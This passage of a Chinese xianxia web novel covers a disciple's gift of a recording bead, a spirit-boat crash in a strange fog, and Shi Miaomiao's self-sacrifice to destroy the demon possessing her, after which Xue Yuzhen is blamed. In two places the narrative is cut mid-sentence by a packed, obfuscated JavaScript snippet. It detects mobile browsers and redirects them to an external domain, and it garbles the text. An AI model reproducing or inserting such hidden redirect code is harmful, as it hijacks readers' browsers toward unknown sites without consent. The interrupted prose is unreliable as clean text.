此话一出,莫说薛予蓁,就连施淼淼都呆住了,一副怎么可能的表情。 若说之前只是同他们打趣装着气恼,这下许乐禾是实实在在地气笑了,“我说,你们该不会真的觉得我不如她吧?” 施淼淼和子书珹都默契地不打算说话,只有薛予蓁支支吾吾地从鼻子里哼出几个含糊不清的音节。 许乐禾没听清楚,大声道:“什么?” 薛予蓁哼哼唧唧。 “什么!” 薛予蓁干脆破罐子破摔,“谁叫你平常总是一副不靠谱的样子,大家自然认为徐师姐要厉害一些…”说到后面,她的声音越来越小。 “我不靠谱?!”许乐禾站起身,“你你你!是谁在平阳城时和你一道破案?是谁?!” 薛予蓁小声道:“可是徐师姐也深入内部为我们打探消息了呀。” 许乐禾还想再嚷嚷,施淼淼被闹得心烦,轻轻搁下手中的茶盏,看着他笑了一下,“师弟,我头有点疼,不如现在来替我看看吧。” 施淼淼没说谎,她最近确实总是容易头痛。见她一副柔弱模样,许乐禾心一紧,也不和薛予蓁吵了,将手指搭在她的手腕上,“差点忘了,褚师兄差人来给我说替你看看。” 他垂眸摸了一会儿施淼淼的脉象,突然“嘶”了一声,问道:“师姐,你这脉象……你最近是不是睡不太好?” 知源宗弟子无故昏迷的事情还未解决,清居宗又出现了大批的灵兽失控,施淼淼知道即便是自己担心也帮不上什么忙,而且要是自己还出了问题,还会给施明尘制造麻烦。但越是告诉自己要冷静,就越是冷静不下来,这几日心中慌乱不安得厉害,她夜半惊醒,也愿意去麻烦别人,便都瞒了下来。 施淼淼收回手,淡淡道:“确实有一些,不过近来宗门怪事频出,睡不着的人应当不缺我一个。” 许乐禾在心中一盘算,施淼淼说的倒也没错了,他点点头,“那可要我给你开些安神的药?” 施淼淼还未答复,子书珹先一步说道:“不必了,我前些日子往家中传了信,叫母亲给淼淼送了些素心丹来。” “从你家送来?”许乐禾一脸莫名其妙,“舍近求远做什么?素心丹药堂里多的是了。” 薛予蓁本就忧虑施淼淼的身体,许乐禾看诊时便一言不发,此刻,她没忍住道:“许师兄,你怕是忘了,前些日子好些弟子胡思乱想,素心丹都已发完,如今丹坊还在炼呢。” 许乐禾听完才一副恍然大悟的样子,急急辩解道:“这我是真没记起来,前段时间师父和药峰的医修们忙不过来,我去帮忙了,真给忙忘了……” 子书珹懒得理他,一是争论这些实在没什么意义,二是他心中清楚许乐禾在医术上的确更胜一筹,但徐赠春的武力值也甩他足足两条街。他抬手止住许乐禾的话,道:“先不说这些了。褚师兄先前找我,说是要我带队去五宗大比。”他忽略许乐禾亮起来的眼神,转头看向薛予蓁和施淼淼,“褚师兄还说要带上你们。” 薛予蓁早就知道这件事,只点了点头。施淼淼却是头一遭听见,她吃惊道:“我?怎么要我也一道?” 之前一道去秘境倒还好说,施淼淼去了在外面守着玩就是,但五宗大比去的弟子都是参赛的,况且大比没过几天就要开始了,再不能像先前那样慢悠悠地赶路过去,施淼淼怕自己拖慢众人的脚步。 虽然理智告诉自己跟着他们去也许会碍事,但施淼淼不知怎么的,想到他们的出行便有些心慌,就也没多去问询缘由,道:“若是不耽搁你们,去也无妨。” 子书珹原先还以为她会问些为什么,见她什么都不问,也不好再说,只笑道:“此次赶得及,宗里允了我们两艘极佳的灵舟。”他压低声音,“听说是折柳长老的私藏,可给他心疼坏了。” “诶,庄和枝那厮在做什么,好像好几个月都没见过他了?”听见折柳长老,许乐禾来了精神。 薛予蓁也好奇,庄和枝同这两人不一样,不是在闭关就是在闭关的路上,听闻执律堂的几位师兄说,那位庄师兄的假条已经累的有一柄剑那么高了。在场和他熟一点的人也只有子书珹了,于是三人便都看向他。 子书珹折扇一展,“谁知道呢,早上同折柳长老商议五宗大比时问过一句,说什么在鼓捣什么小玩意儿。”他说完,一改之前严肃的样子,一副看热闹不嫌事大的表情,“若是好奇,咱们现在便去看看他?” 说着,又去撺掇施淼淼,“淼淼也有几日没出竹宴峰了吧?小心待久了生菌子。”他招呼道,“凫华,百灿,替你们家小姐收拾行李。” 见子书珹将人都安排好了,施淼淼只好同他们一起,道:“你真是……罢了,是挺久没见过庄和枝了。” 折柳长老百年来只收了庄和枝这一个徒弟,丘罗峰只住着师徒二人。薛予蓁还是第一次到这来,她看着乱成一团的庭院,有些难以置信地问子书珹,“这里当真只有两人吗?” 子书珹虽然来得少,但也已经从吃惊到麻木了,他应了一声,熟练地避开胡乱搁置的半成品机关,“他们师徒一个德行,有了灵感便开始动手,做得不合心意就四处乱丢。许乐禾!”他扯了许乐禾一把,一扇子狠狠敲在他作乱的手上,“手不想要就再乱动。” 许乐禾眼睁睁地看着自己刚刚摸的那块被拼得像是五六只死鱼被强行凑在一起的木头唰唰地长出尖锐的木刺,也顾不得手痛,“不,不了,医修的手很珍贵的,我再也不动了。”他心有余悸地将两手死死贴在自己衣服边上。 有了许乐禾的先例,薛予蓁也不敢乱动了,刚转头想去提醒施淼淼,就见她轻车熟路地躲过一道机关,还感叹道:“六七年了,这东西居然还在这。” 收到薛予蓁疑惑的目光,施淼淼笑了笑,牵着她的手带着她走,“小时候折柳师叔便爱给我做些小玩意儿玩,爹忙着给我找药,时不时就将我放在师叔这。”她笑得怀念,“后来庄和枝有样学样,也总做些小东西给我,待会儿回去了,我找给你看——” 突然,内室传来轰的一声打断了她的话,四人忙往内室赶去。 只见一人猛地推开内室的门,裹着黑烟往外跑,边跑边咳嗽,险些跌倒。子书珹快步过去扶住了他,纳闷道:“做什么呢这么大动静。” 庄和枝看上去倒是挺高兴的,他被烟迷了眼,一时半会看不清人,只听见子书珹的声音,还以为只来了他一个人,乐呵道:“子书师兄,今日怎么有空来我这?”他正想扯起袖子擦擦眼睛,手中却被塞了一块手帕,他还当是子书珹,含糊地说了一句谢谢。 等能视物时,却被眼前四双眼睛惊得又结结实实地咳了起来,施淼淼被吓了一跳,连忙替他顺气,边抚着他的背边笑着问道:“这是怎么啦?莫不是太久没来,连我都不认识了?” 庄和枝听见后连连摆手,把气喘匀后一脸无奈,“哪能想到平日里无人问津的丘罗峰一下子来这么多人。”他向几人问了好,又将他们引到茶室,“先坐,我去换件衣裳。” 薛予蓁只有在轮值时才见过庄和枝几面,而庄和枝平时轮值便总是请假,四年来,薛予蓁也就见过他四五面,很是好奇地感叹道:“之前以为庄师兄和师兄是一类人,都冷冷淡淡的,没想到他那么温柔。” 施淼淼闻言,打趣道:“小风筝这是嫌师兄不温柔?那我可得去给师兄说说,叫他和庄和枝学学。” “别别!”这话听得薛予蓁两眼发黑,仿佛褚霁远那张如雪如玉的冷脸马上就出现在她面前了,不敢想象褚霁远听到这番发言后又会叫她练几千遍剑法。 这时庄和枝走了进来,端着一个木盘,温声道:“好像听见我的名字了,在说什么呢?” 施淼淼招呼他坐下,“在说你做什么呢,房子都要被你烧塌了。” 庄和枝笑了下,看向她,没回答,只道:“真是巧了不是?我还说找个时间去找你呢。” “找我?”施淼淼道。 庄和枝应了一声,从怀里掏出了个什么东西,“手。” 施淼淼将手摊开放在他面前,就见庄和枝放了条缀着颗拇指大小的黑珠子的红绳在她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471938|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。施淼淼好奇地拿起来看了看,没看出什么玄妙来,问道:“这是什么?” 许乐禾看了半天,插嘴道:“庄和枝,你想讨师姐喜,好歹也用些心,这么个黑黢黢的珠子有什么好看的?” 庄和枝脾气是真好,也不气恼,只解释道:“我这几个月都再研究这个,今日总算是成功了。”他目光游移了一瞬,“听师父说,此番五宗大比你也要去,拿给你用刚好。” 此时,黑珠子已经在四人手中传了一圈,回到了施淼淼手中,她朝庄和枝眨眨眼,道:“难不成是什么增强修为的灵器?叫我也能上场打一打?” 被她这话逗笑,庄和枝摇头,道:“并非增强修为。”他沉吟了一下,“若要说的话,它能将你看到的事物都记录下来,待你哪天想要再看时,就可以通过它重现了。” 听见这番解释的四人都是一惊,尤其是施淼淼,她捧着珠子一时不知道说什么,张了张口,想说谢谢又觉得颇为见外,只好朝他宛然一笑。 庄和枝偏了偏头,“想着你不常下山,若是有个什么东西能将事物映照重现,叫别的什么人带着,也能让你看看山外的景色。”他沉默一下,“没想到宗主竟然允你出山了。” 施淼淼道:“央着父亲求来的。”她说着将红绳戴在颈间,抚了抚黑珠子,想了想还是道,“庄和枝,谢谢你,我很喜欢这个。” “喜欢便好。”庄和枝说着,端起茶盏喝了一口,“我未曾起名,你可有什么想法?” 施淼淼摸着圆润的珠子,缓缓道:“既然它能将事物映照留存,不若就叫留映珠?” “好。是个好名字。”庄和枝笑着回道。 “还是个好东西呢。”许乐禾道,他蹭到庄和枝身边,“这么好的东西,和枝啊,给我也整一个呗,给我也弄个嘛。” 这小小的一个珠子,庄和枝这几个月里不知失败了多少次才成功了一个,他摇摇头,端起杯子作势要泼他,“你知道这多难嘛?不要在我这撒泼。” 许乐禾灵活躲开,撇撇嘴,“不做就不做,凶什么?”他又看向薛予蓁,“看走眼了吧,小风筝,庄师兄也不是什么温柔的人。” 薛予蓁还在好奇留映珠,莫名被殃及,神色迷茫地抬头看他,却好巧不巧撞上了庄和枝的目光,她一愣,想起自己之前的那番话,心中羞涩,又迅速地移开了目光,瞪着许乐禾道:“你自己惹人家,莫要把我卷进去。” “嘿!”许乐禾吃惊地撸起袖子,作势要教训她,“出山一趟,真叫你长了本事,都敢训斥师兄了?” “你!”薛予蓁平白被冤枉,“我训斥你?分明是你先的,好不讲道理啊许师兄。” 见两人又斗上了,施淼淼叹了一口气,但也不打算拉架,忽悠着薛予蓁和许乐禾到院子里打一场,她好奇这两人谁要厉害一点很久了。 庄和枝只来得及提醒一句不要碰到院里的机关,那三人就跑得不见身影了。 子书珹道:“这次五宗大比,你不和我们一道去?” 庄和枝遗憾地摇摇头,“我倒是想去,但宗主不在,你和乐禾他们也不在,师父也要带队,再者执律堂也不许我假了,只能留守宗中了。” “你留在宗门也好,最近事情诸多,褚师兄恐怕分身乏术。”子书珹道。 庄和枝道:“师父也是这么和我说的。最近,到底是什么情况?” 他不常外出,大多时间都在闭关研究他的小玩意儿些,子书珹只简单地说了点近况,叫他注意提防。 两人虽然相识多年,却也称不上娴熟,说完正事后便相顾无言。庄和枝轻咳一声,“不知他们分出胜负没,出去看看?” “好。” 话音刚落,便有一人走了进来,身后灰溜溜地跟着两人。折柳长老笑得温和,说的话却伤人得很,“好什么好?让他们在丘罗峰打,是想分胜负还是想要杀人?” “师父。” “师叔。” 两人忙不迭地行了礼,折柳摇摇头,“瞧着你们聚在一起就头疼,还不快各自回去收拾东西,明日辰时出发。” 庄和枝道:“我送送你们吧。” 走到丘罗峰入口时,庄和枝叫住了施淼淼。薛予蓁和许乐禾还在就方才的比试吵嚷,子书珹始终站在薛予蓁那边,帮着她把许乐禾怼得一句话也说不出。看着这一幕,是施淼淼喃喃道:“若是这样的场面能看上一辈子,不能出山倒也无妨。” 她声音太小,庄和枝稍稍低头,“嗯?” 巧的是施淼淼正转头问他叫住自己有什么事,发丝擦过庄和枝的脸,两人凑得极近,叫他一时失了神,“淼淼,我……” “你怎么了?”施淼淼不以为意,纳闷道。 庄和枝退后一步,“方才忘了告诉你该怎么启动留映珠。”他虚虚指着珠子,“很简单的,要用时,握着它输入灵力就好,亮起来就是启动成功了。” “灵力吗?”施淼淼有些担心,她修为不高,怕灵力不足,支撑不了。 “不必担心,一点就够了。”这本就是要送给施淼淼的礼物,庄和枝早就考虑到了她的情况,“一点就好。” 前面三人闹完了,回头见施淼淼没跟上,正在唤她,施淼淼应了一声就来,转头看庄和枝,“我知道了。还有,真的谢谢你,庄和枝。”说完,挥了挥手便朝薛予蓁他们跑去。 丘罗峰没有绿树红花,堆的多是木材,施淼淼今日穿了一件鹅黄罗裙,头上戴着薛予蓁送给她的飞鸟银簪,像一只翩翩而飞的蝴蝶,也是丘罗峰唯一的亮色。庄和枝看着她的背影,心念一动,喊道:“淼淼!” 施淼淼听见他的声音,停下脚步,转身看他,“怎么啦?” “一路平安!” 那么大声叫住自己就为了这一句话,施淼淼不禁失笑,她道:“知道啦!” 庄和枝也笑了起来,捂着自己砰砰乱跳的心脏,低声说道:“待你回来,我便告知我心意与你。” 42. 第四十二章 意外 灵舟平稳的在云雾中行驶,薛予蓁端坐在桌子旁,让施淼淼给她戴上留映珠。她关切地看向施淼淼,“师姐,你真的没事吗?” 施淼淼握着留映珠向里面注入了少许里灵力,瞬间,那黑朴朴的珠子亮了一瞬,施淼淼满意地放开手,道:“我真的没事,灵舟很好,折柳师叔驾驶灵舟的技术也很好,我完全没有头晕的感觉。” 薛予蓁稍微放心了一些,她有些不适地耸了耸肩,疑惑道:“你怎么把这个珠子给我戴上了,不是庄师兄给你的吗?” “我戴着有什么用呀?折柳师叔估计不会放我到处跑,你就戴着它替师姐多去些地方逛一逛。”施淼淼道。 她这话倒是说的有道理,薛予蓁拒绝不了,“那好,我定要将来安城逛个遍才行。” 施淼淼闻言同她笑倒在一起,两人依偎着说小话。施淼淼给她出主意,“不光那些,待许乐禾上场时,你可得抢一个前面的位置,将他被打得狗血淋头的样子记下来。还有子书珹,嗯,不知这次的榜首会是他还是崇涧宗的……” 凫华和百灿一人一边守在门外,听着房内两姐妹你一眼我一语地安排着后面的行程,心下好笑。 凫华道:“小姐这真是来玩了。” 百灿纳闷:“不然呢?小姐上不了场,予蓁即便是修为上来了,短短四年经验也不够,她应当也不会上场吧?” 凫华:“……和你聊天真的很无趣。” 百灿:“?” 吱呀一声,薛予蓁推门出来,好奇地问道:“两位姐姐,怎么啦?” 虽然说灵舟平稳,但施淼淼还是担忧自己在上面走动会头晕,于是一整天都待在房间内,怕她无聊,薛予蓁便一直陪着。师姐又给她的小师妹梳了个之前那个可爱的猫猫发型,这次甚至多放了几个小铃铛,薛予蓁现在即便是不动身体都会叮当作响。 凫华最是喜欢她这样的小孩,伸手捏捏她的脸,道:“没什么事,我同百灿闹着玩呢。小风筝有什么事吗?” 薛予蓁本想点头,点到半途又想起自己满头铃铛,顿时不动了,道:“我来问问到哪了。” 百灿想了想,“大抵是过了宣阳城了,明日午时左右就能到了。” 许乐禾正来给施淼淼送晚饭,看见薛予蓁的模样,调侃道:“呦,哪家的小猫又跑出来了?” 薛予蓁闻言狠狠瞪了他一眼,嘴上也不饶人,甜甜地朝他笑道:“许师兄,明日午时就要到了,今夜不会睡不着觉吧?” 眼见两人又要掐起来了,施淼淼连忙将人拉了回去,“你们俩真是,不许胡闹了!”又转向许乐禾,先是接过盘子道了谢,后又不赞成地皱皱眉,“小风筝年纪小,你难道也年纪小?” 薛予蓁躲在施淼淼身后,见师姐维护自己,得意洋洋地摇着脑袋朝他吐舌头,一时忘记了自己满脑袋铃铛,一晃便叮叮当当,闹的施淼淼扭头疑惑地看着她。薛予蓁自然是要在师姐面前卖乖,她收了表情,无辜道:“方才有只飞虫。” 灵舟飞得高,哪里会有什么飞虫,施淼淼看透了她的小心思,也没戳破,只无奈地笑了一下,转向许乐禾,“别太紧张,你是医修,不擅武斗也是正常的。” 施淼淼好意温柔的安慰他,谁知许乐禾一脸见鬼了表情看着她,“谁?谁上了我们家师姐的身,快下来!” 施淼淼瞬间冷脸,眼神凉飕飕地飞向他,“话说早了,你真是该的。”说罢就将门关上了。 许乐禾险些叫这门糊了一脸,讪讪地笑了一下,大声道:“是我贫嘴了,师姐别生气。” 夜半,薛予蓁躺在床上小憩,灵舟忽的颠簸了一下,她只当是撞上了什么飞鸟,没太在意。但叫人奇怪的是,本是小小的颠簸变得大了起来,灵舟疯狂地摇晃着,将房间里的内饰都晃到了地上。 这下还没察觉到异常的就是傻子了,薛予蓁翻身坐起,将施淼淼护在怀中,问道:“师姐没事吧。” 施淼淼原就晕灵舟,平稳些就罢了,这会儿剧烈地摇晃起来,让她没什么精神。为了提防发生什么意外,两人都是和衣而眠,施淼淼撑起身子,和她一起下了床,“还好。这是遇上了什么?” 门外的凫华和百灿猛地推开门,守在两人身边,道明了缘由,“外面不知道为何起了大雾,驱散不掉,还有不知道什么东西在作乱,闹得灵舟寻向灵石出了问题。小姐,予蓁,恐怕灵舟上是待不得了。咱们先出去。” 正跨出门,子书珹就匆匆赶来,先是探查了两人一番,随后命令道:“凫华,百灿,保护好淼淼和予蓁,灵舟待不了,带着她们御剑下去。”说完便要去安抚其他弟子。 薛予蓁将施淼淼安置在凫华手中,抓起伐邪就要追上去,却先被施淼淼捉住手腕,“予蓁!同我待在一起。”她因为难受脸色泛白,语气却格外严肃急切,薛予蓁一时被她震住了,跟丢了人。 她有意去替子书珹分担,但见施淼淼实在虚弱,便又回到她身边,搀着她,问道:“师姐,你怎么样?” 施淼淼实在是说不出话了,靠在她的肩头虚虚地晃了晃手。 幸好此次同行的弟子都是宗门中的佼佼者,遇事皆是冷静沉着,并未自乱阵脚。子书珹将人聚集在一起,朗声道:“诸位,不知这迷雾是从何处而来,但显然目标是我们。先下灵舟,尽量不要分散行动。” 子书珹在宗内也挂名在执律堂下,他说的话也更为服众。众弟子齐声应是,三五结伴着御剑下了灵舟。 灵舟的晃动更为剧烈起来,连薛予蓁都被晃得头晕眼花,她闭上眼猛地摇了摇头保持清醒,睁眼便看着另一艘灵舟朝他们撞来,失声大喊:“师兄!小心!” 但实在是来不及避开,两艘灵舟相撞导致众人脚下失了平衡,子书珹本就站在船舷边上疏散弟子,被猛地一撞直接掉下来灵舟。薛予蓁也跌在甲板上,她把着凫华和百灿的手,厉声道:“不必管我,快下去,护好师姐!” 凫华和百灿到底是施明尘专派给施淼淼的护卫,听她这样说,只短暂的犹豫了一下便点头应是,带着施淼淼跳下灵舟。 说时迟那时快,三人跃下灵舟的后一瞬,两艘灵舟的寻向灵石彻底失去作用,灵舟滞空了一下后便直直地往下掉落。薛予蓁只来得及抽出伐邪就被断裂的桅杆砸到肩上,她闷哼一声,被打落在伐邪上,眼前一花就昏了过去。 时间不知过了多久,薛予蓁缓缓睁开眼睛,身上的剧痛叫她一瞬间就清醒了过来,刚坐起身就猛地呕出一口鲜血。她不甚在意地拭去嘴角的血迹,摸索了几下将伐邪捏在手中,支着身体站起来。 四周静得可怕,除去呼吸声外,一点杂音都没有。且四面都是浓白的雾气,一臂之外便不可事物。害怕雾中潜藏这什么害人的东西,薛予蓁不敢贸然开口,只将伐邪挡在身前,一手探前,摸索着往前走。 肩背上的伤口痛得厉害,薛予蓁小声吸着气,神经紧绷地防备着周围。 忽然,指尖触及到了一个硬物,薛予蓁往前一探,手掌触及到粗粝的树皮。树?他们是掉到了一片树林里吗? 不对,薛予蓁反驳自己道。自己是被木块砸晕过去了,其他人却未必。这一设想一出,倒是叫她担心起来了,自己还同师姐他们在一处吗? 巨大的恐慌让她不自觉地呼吸急促起来,撑在树上的手渐渐收紧,指甲被磨破了皮都置若罔闻。 冷静,冷静。薛予蓁闭着眼安抚自己,手中的伐邪察觉到主人的不安翁翁作响。 突然,身后传来一道微不可查的脚步声,薛予蓁一个谁还抵在唇边尚未吐出,手中的伐邪就冲了出去。 噗嗤一声,是利刃插入血肉的声音。 “唔嗯!” 一道微弱的闷哼声响起。 薛予蓁瞬间头皮发麻,像是被人当头一棒似的短暂的失去了意识。那道声音太过耳熟了,施淼淼每次病发时,薛予蓁都能听见这样的声音。 意识回神后,她才发现自己已经跪坐在一个人面前,那人将头搭在她的肩上,小声而又急促的喘息着,而自己的手上一片黏腻,浓烈的血腥味从身前这人身上散发出来。 “师,师姐——!”薛予蓁颤声喊道。她无措地想去看看施淼淼的情况,却不敢动作,只能徒劳地伸手捂着还在流血的伤口,“为什么?为什么会是你,师姐,师姐,你说句话啊!” “哈。”伏在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471939|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩上的施淼淼却兀地笑了一声,她撑着薛予蓁的身体将自己立了起来,嘴边溢出鲜红的血迹,气若游丝地喊道,“小风筝?” 薛予蓁急切地看着她,不留余地地将灵力输送给她,“是我,师姐,是我!你,你撑住,我们等许乐禾来!不,我去找他,我去找他!”最后一声带上了哭腔。 施淼淼脸色惨白,眼神却亮得可怕,她不知哪里还有那么大的劲扯住了薛予蓁,摇摇头,“不用了,不用。小风筝,予蓁,听我说。” 她笑了一下,“我知道…我为什么非得…咳…非得跟着你们去五宗大比了。” 薛予蓁愣愣地看着她的嘴唇张合着说话,自己却像是突然聋了一般,她难以置信地摇头,“什么——?!” 施淼淼又呛出一口鲜血,薛予蓁能感觉得到她的生命力在迅速的流逝,想要说话,却被她轻轻地捧着脸,道:“小风筝,我真的…很开心,若不是你,我到死…到死可能都被拘在墟山……咳咳… 我原以为…我这一生,做不成什么事…出生时便叫娘亲丢了性命,磕磕碰碰的长大也让父亲兄长耗尽力气…还还得无辜弟子昏迷不醒——” 薛予蓁好似已经听不见她在说什么了,只哽咽着喊道:“这又关你何事!” 施淼淼闷闷地笑了一下,“你仔细瞧一瞧我呢?” 薛予蓁恍惚地抬头,眼瞳骤然放大——只见施淼淼的身后拢着一道巨大的黑影,察觉到薛予蓁的目光,黑影怪异地笑了起来,“知源宗的废物,居然还能发现我的存在。” “这,这是——”薛予蓁的话被抖动的伐邪打断,她无措地把着长剑,那把插在施淼淼身上的神剑,“别动,别动!伐邪!” 施淼淼被搅得伤口剧痛,却生生忍了下来,继续道:“我的确是废物,一个月都未发觉有个脏东西附了我的身…”她将头抵在薛予蓁的肩上,抬手按在薛予蓁的手上,不顾她的反抗将长剑又插进几寸,随着她的痛呼而来的是身后黑影的嘶嚎,她冷哼一声,“很疼吧?” “你不要命了?!”黑影奋力地想要逃脱出施淼淼的身体,却被能够直接重伤魂体的伐邪死死钉在原处。 薛予蓁已经说不出话了,眼泪像是断了线的珠子一样不断落下,施淼淼无力去管黑影,吃力地抬手替她擦泪,又俯身抱了抱她,“小风筝呀…师姐真的…很喜欢你,也很感谢你…不要哭……” “为什么…为什么呀师姐……”薛予蓁已经听不进去她讲话了,只不断地重复着为什么。 施淼淼缓缓将她推开,低声说道:“定。” 巨大的惶恐自心中升起,薛予蓁才知道施淼淼借着抱自己的时候给她画了一道定身符。伴着施淼淼的口令,薛予蓁被定在原地不得动弹,“师姐!师姐!” 施淼淼不语,只朝她笑了一下,她艰难地盘腿坐起来,沾着伤处的血手腕颤抖地在自己的衣袍上画着阵法。 薛予蓁就算是学得再差也认出了那是怎样凶邪的阵法,俯身在施淼淼身上的魔族也看出来了,他哀嚎嘶吼着“不”,薛予蓁也声嘶力竭地朝施淼淼吼着:“施淼淼!你要做什么!不许!不许!不要啊师姐,求求你不要!”喊道最后,她再也受不了地哀求着。 但却动摇不了施淼淼半分,她抬手摸了一下头上的银簪,“我很喜欢这个簪子,小风筝。”说罢,握住伐邪的剑柄向外拔了出去,鲜血溅了她一身。同时手中迅速捏诀,低声念到,“伏阴猎魂阵,起!”阵法彻底阻断了魔族逃出去的路。 薛予蓁已经发不出声音了,只能被定在原地眼睁睁地看着自己之前输送给她救命的灵力启动了阵法。黑红的阵法在施淼淼身上显现,她释然地闭上眼睛,嘴角微微翘起,喃喃道,“宁为五洲枯魂鬼,不做金锁笼中雀……” 事已成定局,薛予蓁颓然低着头,泪珠大颗大颗地落在地上。随着魔族嘶吼声的消失,她身上的定身符也失去了作用。她踉跄了一下,仓皇地抬头看去,施淼淼倒在她的身前,失去了气息。 魔族消散的同时,连片浓白雾气也消失殆尽。薛予蓁跪坐在施淼淼的尸身前恸哭。灿金色的阳光穿过树林落到了两人身上。 原来,太阳早已升起。 43. 第四十三章 雾散 莲微峰副峰的小楼里,陶小雨正端着一盆水往房间走去,迎面撞上了游鸿。这两人说来也倒霉,本应该实在五宗大比的名单上的,但同住的舍友却都遭了殃,现在还躺在床上昏迷不醒,关系都还不错,只能放弃机会留下来照看着他们。 因着平阳城两人有了交集,此刻碰上了便打了招呼。陶小雨叹了口气,“也不知道予蓁他们此行是否顺利。” “有子书师兄和折柳长老,应当不会出什么问题吧。”游鸿道,自大仇得报后,他的性子要开朗许多,“你那位舍友可有什么响动?” 正巧二人就在舍友的门口,陶小雨长长叹了一口气,推开门,回道:“能有什么响动?还是那样——” “小雨?咳咳…”本应深深沉睡的舍友微微偏头,嗓音嘶哑,“我这是怎么了?” 陶小雨和游鸿对视一眼,后者疾步回到自己的房间,推门一看,前一瞬还死气沉沉的舍友龇牙咧嘴地坐了起来,抬头看见他,嘴里骂骂咧咧,“游兄,我怎么浑身酸痛,你莫不是趁我睡觉打我了?” 游鸿来不及理他,径直奔向主峰,拦住一位医修,“烦请告诉浮鸢长老,那些昏迷的弟子已经醒了!” 八月二十八日,天光微熹,莫名陷入昏迷的三十六名弟子齐齐醒了过来。 与此同时,致远殿内伏案翻看古籍的褚霁远心有所感,几步走到施明尘的书房,那盏常置于书桌上的长明灯在几息摇曳后悄无声息地灭了。三百公里外的张家村内,施明尘蹙着眉小心探查着死状惨烈的尸体,起身前往下一处地点时,腰间悬挂着的金玉弟子牌突然碎裂。 雾气消散,三名弟子刚松开一口气,捏紧佩剑要去寻找大部队,“那边!那边好像有人——” 看清状况后,三人倒吸一口冷气,其中一人猛地停下脚步,转头看向自己的同伴,问道:“这,这是怎么回事?” 他的同伴推开他的手,“谁知道?”他仔细一瞧,声音都有些底气不足,“那是淼淼师姐和薛师姐吧?” “不是吧?她们俩会自相残杀?” “脑子怎么长的?淼淼师姐对上薛予蓁有胜算吗?一看就是薛予蓁动的手吧。” 四周突然嘈杂起来了,薛予蓁不敢抬头,施淼淼没了温度的尸体就横在自己面前,她害怕看见那张脸,害怕看到她满身血迹。 有点听不清楚周围的人在说什么,薛予蓁垂着头呆坐了一会儿,眼前大片的白和黑交织,她头晕得厉害,心脏也紧缩着疼痛。身边传来了窸窸窣窣地脚步声,薛予蓁茫然抬头,目光扫过施淼淼是,不知怎么的,突然想要再抱一抱她,抬手时才发现自己竟然已经脱了力。 “唔嗯——!”谁料刚一有动作就被人拽着手臂掐住后颈按在地上,耳边是子书珹难以抑制的质问声,薛予蓁艰难地扭头看去,男人看起来是想朝她这来,却被折柳把着手臂死死拦住。 “师叔,放开我!这怎么可能是她做的?”子书珹急得眼中泛起血丝,急切地说道。 折柳一改往日的温和,指着两人,质问道:“好,不是她做的。那我问你,这里可有第三人,为何薛予蓁的剑上全是血迹,为何死的是施淼淼!” 可薛予蓁分明一副受惊无措的模样,子书珹克制着脾气道:“那师叔不妨看看予蓁呢,她——” 折柳却不耐地打断他,“我看着淼淼长大的,却只与她相处了四年,我此刻只信眼前所见。” 听他所言,几位想替薛予蓁说话的弟子急忙把话咽了回去,生怕被火气波及到。 薛予蓁脸贴着粗砺的土地,茫然地想道:是我做的吗?是我吗?怎么能不算呢?是我劝师姐下山,是我握着伐邪刺向师姐,是我给师姐输了那么多灵力,是我,害死了师姐。可我,可我,可我还没来及的和师姐说一声再见。 施淼淼笑着对她说谢谢,说喜欢的画面轮番在眼前滚动,薛予蓁眼眶泛红,想着,她突然挣扎起来,力气之大,那两名弟子险些没有按住她,其中一名弟子好声好气的说道:“薛师姐,还请不要乱动,您的伤——” 薛予蓁的伤处的确是又严重了不少,爆发出来的那点力气很快就用光了,她道:“让我,再抱一抱师姐,让我再抱一抱她…求你……” 那名弟子不敢自己决定,无措地看向折柳,“长老……” 折柳脱下自己的外袍将施淼淼抱了起来,闻言看了薛予蓁一眼,见她一身狼狈,眼神哀戚,心中虽然不忍,可到底更在意施淼淼,便冷淡地移开眼神,“小心看管着她。五宗大比知源宗是去不了了,子书珹,去安排一下。” 子书珹还留意着薛予蓁,但师长下令,他只得闭了闭眼,嗓音干涸地回了句是。 灵舟摔得七零八落,已然不能使用了,众人只能御剑回去。但迷雾来的离奇,施淼淼的死亡更是蹊跷,子书珹安排几人清点人数后正打算去看看薛予蓁,胸前的传音符亮起,褚霁远压制着怒意的声音传了出来。 “为何淼淼的长明灯灭了,为何小风筝的传音玉符没有响应?”接连的问句砸的子书珹头脑发昏,一向条理清明的他此刻无比茫然,他不知道该如何回答,环顾四周,许乐禾和徐赠春在折柳面前,两人脸色落寞,对视一眼后摇着头说对不起,薛予蓁被两名弟子以缚灵绳绑着,押在一旁,一言不发。 “子书珹?”褚霁远道。 子书珹张了张口,声音低哑,“师兄,淼淼她……”他不忍说的直白,也的确不知道众人分开时两人发生了什么,只寥寥几句话将事情说完。 那头的褚霁远沉默了很久,久到子书珹以为灵符灵力已经耗尽了,才听见他的回话,言语中皆是冰冷,“马上回宗。” 话音刚落,灵符微光一闪便消散了。 回宗的路途中众人格外安静,折柳抱着施淼淼行在最前面,两人执律堂的弟子押着薛予蓁在中间,子书珹和许乐禾徐赠春殿后。子书珹原本是想要去带着薛予蓁的,但折柳怕他徇私将人给放了,便拒绝了他。看着失魂落魄的薛予蓁,子书珹想着,真要放跑她,她也跑不了。 